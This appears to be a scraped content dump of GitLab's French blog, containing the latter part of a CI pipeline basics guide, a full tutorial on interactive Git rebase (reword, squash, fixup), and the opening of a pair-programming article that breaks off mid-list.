expérience\nutilisateur. \n\n\nAvec cet objectif en tête, pourquoi ne pas renforcer le cycle de\ndéveloppement logiciel en cherchant à détecter d'éventuels bogues dès le\ndébut du processus ? Pour ce faire, ajoutons des tests à notre pipeline CI.\nDe cette façon, nous pourrons résoudre les problèmes le plus tôt possible.\n\n\nPar chance, le pipeline CI de GitLab nous facilite la tâche en proposant des\ntemplates de tests prêts à l'emploi. Tout ce que nous avons à faire, c'est\nd'inclure ces templates dans la configuration de notre pipeline CI.\n\n\nDans cet exemple, nous allons réaliser des [tests\nd'accessibilité](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html\n\"Test d'accessibilité\") :\n\n\n```yaml\n\nstages:\n  - accessibility\n\nvariables:\n  a11y_urls: \"https://about.gitlab.com https://www.example.com\"\n\ninclude:\n  - template: \"Verify/Accessibility.gitlab-ci.yml\"\n```\n\n\nPersonnalisez la variable `a11y_urls` pour répertorier les URL des pages web\nà tester avec [Pa11y](https://pa11y.org/ \"Pa11y\") et GitLab [Code\nQuality](https://docs.gitlab.com/ee/ci/testing/code_quality.html \"Code\nQuality\"). \n\n\n```yaml\n   include:\n   - template: Jobs/Code-Quality.gitlab-ci.yml\n```\n\n\nGitLab facilite la consultation du rapport de test directement dans la zone\ndu widget de la [merge\nrequest](https://docs.gitlab.com/ee/user/project/merge_requests/ \"Merge\nrequest\"). Ce widget vous permet de voir la revue de code, l'état du\npipeline et les résultats des tests au même endroit. La capture d'écran\nci-dessous montre à quel point ce widget facilite le travail de vos\néquipes. \n\n\n![Exemple de rapport d'accessibilité dans le pipeline CI/CD de\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_10.56.41.png)\n\n\u003Ccenter>\u003Ci>Widget pour les merge requests en matière\nd'accessibilité\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n\n![Exemple de rapport de test sur la qualité du code suite à une merge\nrequest dans\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.00.25.png)\n\n\u003Ccenter>\u003Ci>Widget de merge request pour GitLab Code Quality\u003C/i>\u003C/center>\n\n\n### Matrice des compilations\n\n\nDans certains cas, nous devons tester notre application dans différentes\nconfigurations, versions de systèmes d'exploitation et langages de\nprogrammation. Nous utilisons alors la compilation «\n[parallel:matrix](https://docs.gitlab.com/ee/ci/yaml/#parallelmatrix\n\"parallel:matrix\") ». Cela nous permet de tester notre application à travers\ndiverses combinaisons en parallèle dans un seul job. Maintenant, testons\nnotre code avec différentes versions de Python et avec le mot-clé « matrix\n».\n\n\n```yaml\n\npython-req:\n  image: python:$VERSION\n  stage: lint\n  script:\n    - pip install -r requirements_dev.txt\n    - chmod +x ./build_cpp.sh\n    - ./build_cpp.sh\n  parallel:\n    matrix:\n      - VERSION: ['3.8', '3.9', '3.10', '3.11']   # https://hub.docker.com/_/python\n```\n\n\nLors de l'exécution du pipeline, ce job s'exécute en parallèle quatre fois,\nchaque fois en utilisant une image Python différente comme indiqué\nci-dessous :\n\n\n![Exécution de jobs en parallèle dans le pipeline\nCI/CD](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.12.48.png)\n\n\n### Tests unitaires\n\n\n#### Que sont les tests unitaires ?\n\n\nLes tests unitaires sont des tests ciblés et de petite envergure qui\nvérifient des composants ou des fonctions d'un logiciel. Ces tests\npermettent d'assurer qu'il fonctionne comme prévu. Ils sont essentiels pour\nvérifier que chaque partie du code fonctionne correctement et permettent de\ndétecter les bogues le plus tôt possible dans le processus de développement\nlogiciel. \n\n\nExemple : imaginez que vous développiez une application de calculatrice. Un\ntest unitaire pour la fonction « addition » va vérifier si le résultat d'un\ncalcul comme 2 + 2 est bien égale à 4. Si ce test est concluant, nous avons\nconfirmation que la fonction « addition » fonctionne correctement.\n\n\n#### Tests unitaires : les bonnes pratiques\n\n\nMettre en place des tests unitaires, c'est bien, mais il est possible\nd'aller encore plus loin pour faciliter la vie de vos équipes de\ndéveloppement.\n\n\nPar exemple, lorsqu'un test échoue, vos équipes reçoivent une notification.\nS'engage alors un long processus de vérification des job logs afin de\ntrouver et de corriger les erreurs. Ce processus est long et pourrait être\noptimisé.\n\n\nIl est possible de configurer votre job pour qu'il utilise des [rapports de\ntests\nunitaires](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html\n\"Rapports de tests unitaires\") (rapports détaillés des erreurs permettant de\nles traiter plus efficacement). GitLab affiche ces rapports dans la merge\nrequest et sur la page de détails des pipelines CI. Cela facilite\nl'identification des échecs, car il n'y a alors plus besoin de consulter\nl'intégralité du journal.\n\n\n#### Rapport de test JUnit\n\n\nCi-dessous un exemple de rapport de test JUnit : \n\n\n![Rapport de test JUnit dans un pipeline d'intégration\ncontinue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674097/Blog/Content%20Images/pipelines_junit_test_report_v13_10.png){:\n.shadow.center}\n\n\n### Stratégies d'intégration et de tests de bout en bout\n\n\nAfin de s'assurer que toutes les parties de notre code fonctionnent en\nharmonie (y compris les\n[microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Que\nsont les microservices ?\"), les tests d'interface utilisateur), il est\ncapital de configurer un pipeline dédié à l'intégration et aux tests de bout\nen bout.\n\n\nCes tests sont exécutés [chaque\nnuit](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) et il est\npossible de configurer le système pour que les [résultats soient\nautomatiquement envoyés vers un canal Slack\ndédié](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html#notification-events).\nAinsi, lorsque les équipes de développement arrivent le matin, elles peuvent\nrapidement travailler sur les problèmes identifiés la veille. L'objectif\nétant de détecter et de corriger les problèmes le plus tôt possible dans le\nprocessus de développement logiciel.\n\n\n### Environnement de test\n\n\nDans certains cas, nous avons besoin d'un environnement dédié pour tester\ncorrectement nos applications. On parle alors d'environnement de test. Avec\nle pipeline CI/CD de GitLab, nous pouvons automatiser le déploiement des\nenvironnements de test, et ainsi gagner un temps considérable. \n\n\nComme cet article se concentre principalement sur les pipelines\nd'intégration continue, nous ne nous attarderons pas sur ce point ici. En\nrevanche, libre à vous de consulter la section dédiée à ce sujet dans la\n[documentation\nGitLab](https://docs.gitlab.com/ee/topics/release_your_application.html).\n\n\n## Implémenter des scans de sécurité dans un pipeline CI\n\n\nVoici comment mettre en œuvre des scans de sécurité dans un pipeline CI.\n\n\n### Intégration des SAST et des DAST\n\n\nAvant toute chose, nous souhaitons garder notre code en sécurité. S'il y a\nla moindre vulnérabilité dans nos dernières modifications, nous voulons en\nêtre informés dès que possible. C'est pourquoi il est judicieux d'ajouter\ndes scans de sécurité à votre pipeline CI. \n\nCes scans vérifient le code à chaque commit et vous alertent dès qu'une\nfaille est détectée. \n\n\nIl existe deux types de scan : \n\n- les tests statiques de sécurité des applications\n([SAST](https://docs.gitlab.com/ee/user/application_security/sast/ \"SAST\"))\n\n- les tests dynamiques de sécurité des applications\n([DAST](https://docs.gitlab.com/ee/user/application_security/dast/ \"DAST\"))\n\n\nCi-dessous, consultez notre guide interactif qui vous montre comment ajouter\ndes scans de sécurité à votre pipeline CI. \n\n\nCliquez sur l'image ci-dessous pour commencer. \n\n\n[![Scans product\ntour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.44.42.png)](https://gitlab.navattic.com/gitlab-scans)\n\n\nGrâce à l'IA et à ses capacités d'analyse, nous pouvons également obtenir\ndes suggestions sur la manière dont les vulnérabilités peuvent être\ncorrigées. Consultez cette démonstration pour plus d'informations.\n\n\nCliquez sur l'image ci-dessous pour commencer. \n\n\n[![product tour explain vulnerability\n](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.50.24.png)](https://tech-marketing.gitlab.io/static-demos/pt-explain-vulnerability.html)\n\n\n## Récapitulatif\n\n\nDans cet article, nous avons volontairement simplifié les exemples afin de\nfaciliter l'intégration des différents concepts de GitLab CI.\n\n\nRésumons rapidement ce que nous avons appris :\n\n1. Pour déléguer certaines tâches à GitLab CI, vous devez définir un ou\nplusieurs [jobs](https://docs.gitlab.com/ee/ci/jobs/) dans `.gitlab-ci.yml`.\n\n2. Les jobs doivent avoir des noms, de préférence facilement identifiables.\n\n3. Chaque job contient un ensemble de règles et d'instructions pour le\npipeline de GitLab. Ces derniers sont définis par des mots-clés spécifiques.\n\n4. Les jobs peuvent s'exécuter de manière séquentielle, en parallèle, ou\ndans l'ordre de votre choix grâce aux graphes acycliques orientés. \n\n5. Vous pouvez transférer des fichiers entre les jobs et les stocker dans\ndes artefacts de compilation afin de pouvoir les télécharger depuis\nl'interface de GitLab CI.\n\n6. Ajoutez [des tests et des scans de\nsécurité](https://docs.gitlab.com/ee/development/integrations/secure.html\n\"Tests et scans de sécurité\") au pipeline CI pour garantir la qualité et la\nsécurité de votre application.\n\n\nCi-dessous se trouvent des descriptions des termes et des mots-clés que nous\navons abordés dans cet article.\n\n\n### Mots-clés, descriptions et documentation\n\n\n{: #keywords}\n\n\n| Mots-clés/termes       | Description |\n\n|---------------|--------------------|\n\n| [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/) | Fichier contenant\ntoutes les explications sur la façon dont votre projet doit être construit |\n\n| [script](https://docs.gitlab.com/ee/ci/yaml/#script)        | Définit un\nscript shell à exécuter |\n\n| [before_script](https://docs.gitlab.com/ee/ci/yaml/#before_script) |\nUtilisé pour définir la commande qui doit être exécutée avant tous les jobs\n|\n\n|\n[image](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-image)\n| Définit l’image Docker à utiliser |\n\n| [stages](https://docs.gitlab.com/ee/ci/yaml/#stages)         | Définit une\nétape du pipeline CI (par défaut : `test`) |\n\n| [artifacts](https://docs.gitlab.com/ee/ci/yaml/#artifacts)     | Définit\nune liste d'artefacts de compilation |\n\n|\n[artifacts:expire_in](https://docs.gitlab.com/ee/ci/yaml/#artifactsexpire_in)\n| Utilisé pour supprimer les artefacts téléchargés après une durée spécifiée\n|\n\n| [needs](https://docs.gitlab.com/ee/ci/yaml/#needs) | Permet de définir les\ndépendances entre les jobs et permet d'exécuter des jobs dans l'ordre de\nvotre choix |\n\n| [pipelines](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/) |\nUn pipeline est un groupe de compilations exécutées par étapes (batch) |\n\n\n## En savoir plus sur les pipelines CI/CD\n\n\n- [Quelles sont les meilleures pratiques CI/CD à connaître\n?](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/\n\"Quelles sont les meilleures pratiques CI/CD à connaître ?\")\n\n- [Le guide CI/CD de GitLab pour les\ndébutants](https://about.gitlab.com/blog/beginner-guide-ci-cd/)\n\n- [Obtenez des pipelines plus rapides et plus flexibles avec un graphe\nacyclique orienté](https://about.gitlab.com/blog/directed-acyclic-graph/)\n\n- [Réduisez le temps de compilation avec une image Docker\npersonnalisée](http://beenje.github.io/blog/posts/gitlab-ci-and-conda/)\n\n- [Présentation de la version bêta du catalogue GitLab\nCI/CD](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/)\n\n\n## FAQ sur le pipeline d’intégration continue\n\n\n### Comment choisir entre l'exécution séquentielle et parallèle des jobs\ndans un pipeline CI ?\n\n\nIl y a plusieurs considérations à prendre en compte pour choisir entre\nl'exécution séquentielle et parallèle des jobs dans un pipeline CI. Ainsi,\nil faut considérer les dépendances entre les jobs, la disponibilité des\nressources, les temps d'exécution, les interférences potentielles, la\nstructure de la séquence de tests ou encore les coûts que cela implique. \n\n\nPar exemple, si vous avez un job de compilation qui doit se terminer avant\nqu'un job de déploiement puisse démarrer, vous exécuterez ces jobs de\nmanière séquentielle pour garantir le bon ordre d'exécution. En revanche,\nles tâches telles que les tests unitaires et les tests d'intégration peuvent\ngénéralement s'exécuter en parallèle, car elles ne dépendent pas de\nl'achèvement des autres.\n\n\n### Que sont les graphes acycliques orientés dans GitLab et comment\naméliorent-ils la flexibilité du pipeline CI ?\n\n\nUn graphe acyclique orienté dans un pipeline CI permet d'exécuter des jobs\nen fonction de leurs dépendances, plutôt que dans un ordre strictement\nséquentiel. Ce graphe vous permet ainsi de définir un ordre d'exécution des\njobs pour que ceux des étapes ultérieures commencent dès que les jobs des\nétapes précédentes se terminent. Cela réduit le temps d'exécution global du\npipeline, améliore l'efficacité et laisse même à certains jobs la\npossibilité de se terminer plus tôt que s'ils avaient été exécutés dans un\nordre purement séquentiel (du premier au dernier dans la liste).\n\n\n### Pourquoi est-il important de choisir la bonne image Docker pour les jobs\nd'un pipeline CI GitLab ?\n\n\nGitLab utilise des images Docker pour exécuter des jobs dont l'image par\ndéfaut est ruby 3.1. Pour optimiser votre pipeline CI, il sera cependant\ncrucial de choisir l'image la plus appropriée à vos besoins. Comprenez que\nles jobs téléchargent d'abord l'image Docker spécifiée. Si l'image contient\ndes paquets supplémentaires inutiles, cela augmentera les temps de\ntéléchargement et d'exécution. Il est donc important de s'assurer que\nl'image choisie contient uniquement les paquets essentiels afin d'éviter des\nretards inutiles dans l'exécution des jobs.\n\n\n### Prochaines étapes\n\n\nPour moderniser davantage vos pratiques de développement logiciel, consultez\nle [catalogue GitLab\nCI/CD](https://docs.gitlab.com/ee/architecture/blueprints/ci_pipeline_components/)\npour savoir comment standardiser et réutiliser les composants CI/CD.\n",[1256,1069],"2025-01-07",{"slug":3428,"featured":6,"template":683},"basics-of-gitlab-ci-updated","content:fr-fr:blog:basics-of-gitlab-ci-updated.yml","Basics Of Gitlab Ci Updated","fr-fr/blog/basics-of-gitlab-ci-updated.yml","fr-fr/blog/basics-of-gitlab-ci-updated",{"_path":3434,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3435,"content":3441,"config":3447,"_id":3449,"_type":16,"title":3450,"_source":17,"_file":3451,"_stem":3452,"_extension":20},"/fr-fr/blog/keep-git-history-clean-with-interactive-rebase",{"title":3436,"description":3437,"ogTitle":3436,"ogDescription":3437,"noIndex":6,"ogImage":3438,"ogUrl":3439,"ogSiteName":841,"ogType":842,"canonicalUrls":3439,"schema":3440},"Comment conserver un historique Git propre avec le rebase interactif","Le rebase interactif est l'un des outils les plus polyvalents de Git. Découvrez comment l'utiliser pour corriger vos messages de commit, réparer des erreurs et bien plus encore.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662593/Blog/Hero%20Images/title-image.png","https://about.gitlab.com/blog/keep-git-history-clean-with-interactive-rebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment conserver un historique Git propre avec le rebase interactif\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tobias Günther\"}],\n        \"datePublished\": \"2020-11-23\",\n      }",{"title":3436,"description":3437,"authors":3442,"heroImage":3438,"date":3444,"body":3445,"category":825,"tags":3446},[3443],"Tobias Günther","2020-11-23","## Qu'est-ce qu’un rebase interactif ?\n\n\nLe rebase interactif, également connu sous le nom de *Git rebase\ninteractive* en anglais, est un peu le « couteau suisse » de\n[Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce\nque Git ? \") car il permet d’avoir accès à différents outils pour de\nnombreux usages possibles. Son cas d'utilisation principal restant cependant\nle nettoyage de l'historique des commits locaux.\n\n\nSoulignons bien ici le mot *local*. Le rebase interactif s'utilise\nuniquement pour __nettoyer votre propre historique de commits en local__,\navant par exemple d'intégrer l’une de vos branches de fonctionnalités au\nsein d’une branche d’équipe. \n\n\nEn revanche, le rebase interactif (ou *Git rebase interactive*) ne doit pas\nêtre utilisé sur un historique de commits Git dont le push a déjà été\neffectué et partagé sur un dépôt distant. Le rebase interactif est l’un de\nces outils qui « réécrivent » l'historique Git ; il ne doit donc pas être\nutilisé sur des commits déjà partagés avec d'autres personnes. Passé ce\npetit avertissement, voyons quelques exemples pratiques !\n\n\n## Corriger un ancien message de commit avec le rebase interactif\n\n\nParfois, vous remarquez une coquille dans un vieux message de commit. Ou\nbien, vous oubliez de mentionner quelque chose d'utile dans une description.\nSi l'on parle du tout dernier commit en date, vous pouvez utiliser l'option\n`--amend` de la commande `git commit`. Mais pour les commits plus anciens,\nle *Git rebase interactive* vous permet de les modifier après coup. \n\n\nVoici un exemple de message de commit nécessitant une correction :\n\n\n![Un mauvais message de commit qui nécessite une\ncorrection](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/bad-commit-message@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nLa première étape dans toute session de *Git rebase interactive* consiste à\n__déterminer quelle partie de l'historique des commits__ vous souhaitez\nmanipuler. Pour modifier le commit incorrect dans l'exemple précédent, nous\ndevons démarrer la session à partir de son commit parent.\n\n\n![Démarrage de la session de Git rebase\ninteractive](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/start-at-parent-commit@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nNous pouvons maintenant transmettre le hash du commit de départ à la\ncommande *Git rebase interactive* :\n\n\n```\n\n$ git rebase -i 0023cddd\n\n```\n\n\nUne fenêtre d’édition va alors s'ouvrir, contenant la liste des commits que\nvous venez de sélectionner. Ne soyez pas surpris s’ils apparaissent dans\nl'ordre inverse. Dans une session de rebase interactif, Git applique les\ncommits élément après élément, du plus ancien au plus récent, ce qui\nsignifie que l'inversion de l'ordre est correcte du point de vue de Git.\n\n\n![Fenêtre d'édition avec les commits\nsélectionnés](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/editor-window-start-ir@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nUne chose importante à noter à propos de cette fenêtre d’édition : ce n'est\npas ici que vous effectuez les manipulations réelles ! Dans cet exemple\nconcret, ce n’est pas à cet endroit que vous modifiez le message du commit.\nVous indiquez seulement le commit que vous allez modifier en appliquant un\nmot-clé d'action. Dans notre cas, comme nous voulons changer le message d'un\ncommit, nous entrons la ligne « reword ». Si vous sauvegardez et fermez la\nfenêtre d’édition, une nouvelle fenêtre s'ouvrira, contenant l'ancien\nmessage de commit. \n\n\nIl est temps d'effectuer vos modifications :\n\n\n![Modifications du message du\ncommit](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/correct-commit-message.gif){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nAprès avoir sauvegardé et fermé la fenêtre une fois de plus, la session de\n*Git rebase interactive* est terminée et notre ancien message de commit a\nété corrigé.\n\n\n## Combiner plusieurs commits en un seul avec le rebase interactif\n\n\nAutre cas d'usage du *Git rebase interactive* : lorsque vous souhaitez\n__combiner plusieurs anciens commentaires en un seul__. Bien entendu, la\nrègle d'or du [contrôle de\nversion](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce\nque le contrôle de version ?\") s'applique : il est généralement conseillé de\ncréer plus de petits commits plutôt que quelques gros. Cependant, nous\npouvons parfois nous laisser emporter, et vouloir ensuite fusionner quelques\ncommits en un seul.\n\n\nPrenons un exemple concret, où nous allons entreprendre de combiner les\ncommits suivants :\n\n\n![Combinaison de plusieurs commits en un\nseul](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-selected-commits@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nComme dans notre premier cas, nous commençons par démarrer la session de\n*Git rebase interactive* au niveau du commit parent de celui que nous\nvoulons manipuler.\n\n\n```\n\n$ git rebase -i 2b504bee\n\n```\n\n\nUne fois encore, une fenêtre d'édition s'ouvre, listant la partie de notre\nhistorique de [commits\nGit](https://about.gitlab.com/fr-fr/blog/keeping-git-commit-history-clean/\n\"Commits Git\") que nous souhaitons manipuler.\n\n\n![Marquage des lignes avec « squash »\n](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-mark-commit@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\n### Marquer les lignes avec le mot-clé « squash »\n\n\nLe mot-clé d’action que nous allons utiliser ici s'appelle « squash ». Pour\nbien utiliser cette fonction, retenez que la ligne marquée avec le mot-clé «\nsquash » sera combinée avec la ligne directement au-dessus. Ainsi, comme le\nmontre la capture d'écran ci-dessus, nous avons marqué la ligne #2 avec «\nsquash » afin de la combiner avec le commit de la ligne #1 juste au-dessus.\n\n\nNous pouvons maintenant sauvegarder et fermer la fenêtre d’édition ; une\nnouvelle fenêtre va alors apparaître. Il nous est maintenant demandé de\nfournir un message de commit pour le nouveau commit créé en combinant ces\ndeux anciens.\n\n\n![Ajout d’un nouveau message pour le nouveau commit\nfusionné](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-enter-new-message@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nEnfin, sauvegardez et fermez cette fenêtre d’édition. Un nouveau commit est\ncréé, contenant les modifications des deux anciens commits. \n\n\n## Corriger une erreur avec le rebase interactif\n\n\nUn autre cas d’usage du *Git rebase interactive* consiste à corriger une\nerreur identifiée dans l'un de vos commits précédents. La nature exacte de\nl'erreur n'a pas d'importance. Vous pourriez par exemple avoir oublié\nd'ajouter un changement, de supprimer un fichier, ou simplement de corriger\nune faute de frappe.\n\n\nDans une telle situation, nous avons tendance à vouloir créer un nouveau\ncommit pour corriger cette erreur. Cela risque toutefois d'ajouter du\ndésordre à votre historique de commits. Il n'est pas idéal d'ajouter un\ncommit de fortune au commit initial juste pour corriger quelques erreurs.\nVotre historique de commits deviendra rapidement illisible, car jonché de\nmultiples petits commits de correction. \n\n\nC'est là que vous pouvez profiter de « fixup », l'un des outils fournis avec\nle *Git rebase interactive*. « Fixup » applique ce commit de réparation\nrapide et ses changements au commit initial, le corrigeant ainsi. Ensuite,\nil se débarrasse simplement du commit de fortune. \n\n\n![Fonctionnement de « fixup\n»](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/diagram-fixup.png){:\n.medium.center}\n\n{: .note.text-center}\n\n\n### Comment utiliser « fixup » ?\n\n\nUne fois la fonction « fixup » utilisée, c'est comme si notre commit initial\navait toujours été correct. Voyons cela à l'aide d'un exemple. \n\n\nLa première étape consiste à faire le nécessaire pour corriger le problème.\nIl peut s'agir d'ajouter un nouveau fichier, de modifier des fichiers\nexistants ou de supprimer ceux qui sont obsolètes. Vous avez simplement à\neffectuer les modifications qui corrigent l'erreur.\n\n\nL'étape suivante consiste à valider ces modifications au niveau du dépôt,\nmais avec un petit truc en plus. Au moment du commit, nous allons ajouter\n`--fixup` et indiquer à Git le hash de notre mauvais commit :\n\n\n```\n\n$ git add corrections.txt\n\n$ git commit --fixup 2b504bee\n\n```\n\n\nJetez maintenant un coup d'œil à votre historique de commits. Vous\nconstaterez qu'un commit d'apparence ordinaire a été créé. Mais à y voir de\nplus près, il s'est passé quelque chose. Le nouveau commit affiche la\nmention « fixup ! » et il reprend le sujet de notre mauvais commit.\n\n\n![Le commit initial et le commit de\ncorrection](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_create-fix-commit@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nEnfin, la troisième étape consiste à démarrer la session de *Git rebase\ninteractive*. Nous sélectionnons à nouveau le commit parent de notre mauvais\ncommit comme point de départ :\n\n\n```\n\n$ git rebase -i 0023cddd --autosquash\n\n```\n\n\nEt pour conclure, nous utilisons notre botte secrète : `--autosquash`. Cette\noption nous assure de ne rien avoir à faire au sein de la fenêtre d’édition\ndésormais ouverte. Regardons de plus près la situation :\n\n\n![Notre commit de correction est marqué « fixup » et classé à la bonne\nposition](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_editor@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nGit a automatiquement effectué deux choses :\n\n\n1. Le commit de correction de fortune est marqué comme « fixup ». \n\n2. L'ordre des lignes fait apparaître notre commit de correction directement\nsous le mauvais commit. Tout comme « squash », « fixup » combine le commit\navec celui de la ligne supérieure.\n\n\nEnfin, il ne nous reste plus qu'à sauvegarder et à fermer la fenêtre\nd’édition.\n\n\nJetons un coup d'œil à l'historique des commits :\n\n\n![Problème\nrésolu](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_final-corrected@2x.png){:\n.shadow.medium.center}\n\n{: .note.text-center}\n\n\nAinsi, le mauvais commit initial contient maintenant les changements du\ncommit de secours. Mais en plus de cela, le commit de secours a maintenant\ndisparu de l’historique de commits. Tout beau, tout propre, comme s'il n'y\navait jamais eu le moindre problème !\n\n\n## Découvrez la puissance du rebase interactif\n\n\nVous allez pouvoir utiliser le Git rebase interactive dans de très nombreux\ncas, la plupart du temps afin de corriger des erreurs. Pour une vue\nd'ensemble de toutes les choses utiles à faire avec le rebase interactif,\nnous vous recommandons ce [guide sur\nGit](https://git-scm.com/book/fr/v2/Utilitaires-Git-R%C3%A9%C3%A9crire-l%E2%80%99historique).\n\n\n## FAQ sur le rebase interactif\n\n\n### Quelle est la différence entre rebase et merge ?\n\n\nVoilà une question souvent posée par les développeurs : rebase ou merge ?\nCes commandes permettent d'effectuer des changements d'une branche à\nl'autre. Avec `git merge`, nous créons un commit de merge dans la branche\nlocale. Avec `git rebase`, chaque commit de la branche locale est recréé en\npointe de la branche principale. `Git rebase -i` interactif est similaire à\ngit rebase, mais permet en plus de modifier les commits au moment de les\nenvoyer vers la branche principale.\n\n\n### Quelle est la différence entre le Git rebase interactive et le Git\nrebase ?\n\n\nLorsque l'on ajoute l'option interactive au Git rebase, cela permet d'ouvrir\nune fenêtre d’édition afin d'éditer en amont chaque commit de votre branche\nlocale avant de les rebaser, notamment pour nettoyer votre historique. Les\ncommandes principales sont `reword` (éditer un message de commit), `squash`\n(fusionner deux commits), et `fixup` (amender un commit).\n\n\n### Quelles sont les erreurs à éviter avec le rebase interactif ?\n\n\nLe rebase interactif est généralement conseillé aux utilisateurs plutôt\navancés. Lorsque vous utilisez ces commandes, veillez à éviter les pièges\nsuivants :\n\n\n- __Ordre des commits.__ Conservez la logique du workflow lorsque vous\nréordonnez des commits.\n\n- __Sauvegarde.__ N'oubliez pas de sauvegarder et fermer votre fenêtre\nd'édition en fin de session de rebase interactif.\n\n- __Rebasing sur la branche principale.__ Le rebase s'applique toujours à\ndes commits de votre branche locale vers la branche publique. \n\n\nImage de couverture par David Taljat sur\n[Pexels](https://www.pexels.com/@david-taljat-3748658/).\n",[1047,1069],{"slug":3448,"featured":6,"template":683},"keep-git-history-clean-with-interactive-rebase","content:fr-fr:blog:keep-git-history-clean-with-interactive-rebase.yml","Keep Git History Clean With Interactive Rebase","fr-fr/blog/keep-git-history-clean-with-interactive-rebase.yml","fr-fr/blog/keep-git-history-clean-with-interactive-rebase",{"_path":3454,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3455,"content":3461,"config":3468,"_id":3470,"_type":16,"title":3471,"_source":17,"_file":3472,"_stem":3473,"_extension":20},"/fr-fr/blog/agile-pairing-sessions",{"ogTitle":3456,"schema":3457,"ogImage":3458,"ogDescription":3459,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":3460,"title":3456,"canonicalUrls":3460,"description":3459},"Pair programming : apprenez à coder en binôme","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pair programming : coder en binôme pour progresser et améliorer sa productivité\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-08-20\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665897/Blog/Hero%20Images/incrementalcodedevelopment.jpg","Dans cet article, découvrez le pair programming, pourquoi vous devez coder en binôme et comment éviter les erreurs principales lorsqu'on se lance.","https://about.gitlab.com/blog/agile-pairing-sessions",{"heroImage":3458,"body":3462,"authors":3463,"updatedDate":2306,"date":3465,"title":3466,"tags":3467,"description":3459,"category":2738},"Coder en binôme aide les équipes de développement à progresser plus rapidement et à améliorer la livraison des projets. Découvrez dans cet article le fonctionnement du pair programming, comment coder en binôme et les meilleures astuces pour tirer parti de cette méthode Agile. \n\n## Qu’est-ce que le pair programming ? \n\nLe pair programming (ou programmation en binôme) est une approche Agile du développement logiciel qui implique deux développeurs et/ou développeuses travaillant sur le même poste de travail. L'un, appelé le conducteur (driver), rédige le code pendant que l'autre, appelé le navigateur (navigator) le commente et le révise en temps réel. Les sessions de pair programming peuvent accélérer les projets agiles, car les binômes travaillent ensemble pour trouver les meilleures solutions aux différentes problématiques rencontrées. Plutôt que de travailler en silos, les membres de l'équipe s'associent pour partager leurs connaissances et avancer plus rapidement. \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab.\") \n\n## Comment débuter une session de pair programming ?\n\nLa clé d'une session de pair programming réussie repose sur une communication fluide et la création d'un planning afin d'éviter de rencontrer des problèmes lors de la réalisation du projet. \n\nVoici quatre éléments à considérer avant de vous lancer dans une session de programmation en binôme : \n\n- Ayez une compréhension commune sur la notion du « prêt à être lancé » pour le projet en question. Concertez-vous ainsi que toute partie prenante impliquée, comme le Product Owner, afin de déterminer clairement à quel moment donner le feu vert au projet.\n- Planifiez le projet étape par étape. Définissez comment vous allez coder, effectuer la revue de code et tester le projet. Pensez aussi aux potentielles aides extérieures dont vous pourriez avoir besoin pour mener le projet à bien.\n- Faites une liste de tous 